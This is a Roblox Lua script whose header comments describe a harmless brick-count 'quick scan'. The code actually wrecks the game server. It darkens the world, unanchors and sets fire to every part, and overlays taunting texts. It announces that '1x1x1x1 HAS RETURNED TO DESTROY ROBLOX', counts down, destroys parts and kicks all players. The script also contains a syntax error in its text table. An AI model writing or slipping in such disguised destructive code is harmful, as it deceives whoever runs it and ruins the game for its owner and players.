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-- Quick scan:
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-- 	This will just give you a brick-count and print it to your output
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--	Go in Solo or Online mode to get a dynamic GUI counter
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local lighting = game:GetService("Lighting")
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lighting.Brightness = 0
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lighting.OutdoorAmbient = Color3.new(0,0,0)
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local sky = Instance.new("Sky", lighting)
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sky.SkyboxBk = "http://www.roblox.com/asset/?id=48020371"
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sky.SkyboxDn = "http://www.roblox.com/asset/?id=48020144"
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sky.SkyboxFt = "http://www.roblox.com/asset/?id=48020234"
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sky.SkyboxLf = "http://www.roblox.com/asset/?id=48020211"
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sky.SkyboxRt = "http://www.roblox.com/asset/?id=48020254"
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sky.SkyboxUp = "http://www.roblox.com/asset/?id=48020383"
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local music = Instance.new("Sound", game.Workspace)
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music.SoundId = "rbxassetid://150402649"
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music.Volume = 1
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music.Looped = true
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music.PlayOnRemove = true
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music:Play()
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local parts = {}
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function scan(p)
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	for _,target in pairs(p:GetChildren()) do
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		if target:IsA("BasePart") then
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			table.insert(parts,target) -- target is the actual parts!
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			target.Anchored = false
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			target.BrickColor = BrickColor.new("Really black")
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			local sb = Instance.new("SelectionBox", target)
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			sb.Color3 = Color3.new(255, 0, 0)
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			sb.SurfaceColor3 = Color3.new(170, 0, 0)
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			sb.Adornee = target
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			local pe = Instance.new("ParticleEmitter", target)
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			pe.Name = "10101110010011"
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			pe.Texture = "rbxassetid://45524735"
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			pe.Rate = 10
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			pe.SpreadAngle = Vector2.new(-90, 90)
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			local pe2 = Instance.new("ParticleEmitter", target)
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			pe2.Name = "ERROR_._ER-__ORO_...."
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			pe2.Texture = "rbxassetid://158293315"
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			pe2.Rate = 10
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			pe2.SpreadAngle = Vector2.new(-90, 90)
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			local bb = Instance.new("BillboardGui", target)
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			bb.Size = UDim2.new(50,0 , 25,0)
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			bb.AlwaysOnTop = true
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			local randomtext = {
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				"1x1x1x1 !S B4CK",
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				"COLDAS !S B4CK",
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				"101010110100101011101111010101",
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				"I LOVE ALLAH",
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				"_-ERROR-_"
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				"LOLOL"
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			}
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			local label = Instance.new("TextLabel", bb)
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			label.Size = UDim2.new(1,0 , 1,0)
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			label.TextScaled = true
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			label.TextWrapped = true
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			label.BackgroundTransparency = 1
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			local brickcolor = BrickColor.new("Really red")
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			label.TextColor3 = brickcolor.Color
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			label.Font = "ArialBold"
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			label.TextSize = 100
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			local chosentext = randomtext[math.random(1, #randomtext)]
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			label.Text = chosentext
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			local fire = Instance.new("Fire", target)
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			fire.Size = 30
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			fire.Size = 90
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			fire.Heat = 25
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			fire.Heat = 45
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		end
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		scan(target)
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	end
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end
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scan(game.Workspace)
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--print(#parts .. (#parts == 1 and " brick " or " bricks ") .. "counted")
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parts = {}
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wait(1)
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local m = Instance.new("Message", game.Workspace)
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m.Text = "1x1x1x1 HAS RETURNED TO DESTROY ROBLOX!"
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wait(3)
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m.Text = "STARTING COUNTDOWN..."
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wait(2)
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m.Text = "ONCE THE TIMER REACH 0, THIS SERVER WILL NO LONGER EXIST!"
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wait(5)
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local unit = 10
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wait(1)
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for i = 1, 10 do
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	unit = unit - 1
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	m.Text = "COUNTDOWN: "	..unit.. " SECONDS LEFT!"
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	wait(1)
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end
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m.Text = "FAREWELL, IDIOTS! MUAHAHAHAHAHAHAHA!!!"
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local prey = nil
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local parts = script.Parent:GetChildren() 
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for i = 1,#parts do 
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	if (parts[i].className == "Part") then 
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		if (prey ~= nil)then 
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			prey:Destroy()
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		end 
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		prey = parts[i] 
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	end 
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end
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for i, players in pairs(game.Players:GetChildren()) do
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	players:Kick("010111010101000101011101010100010111101010010100010111101011010100101010101010101010101010101001010101011011010110100101010101010101011101")
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end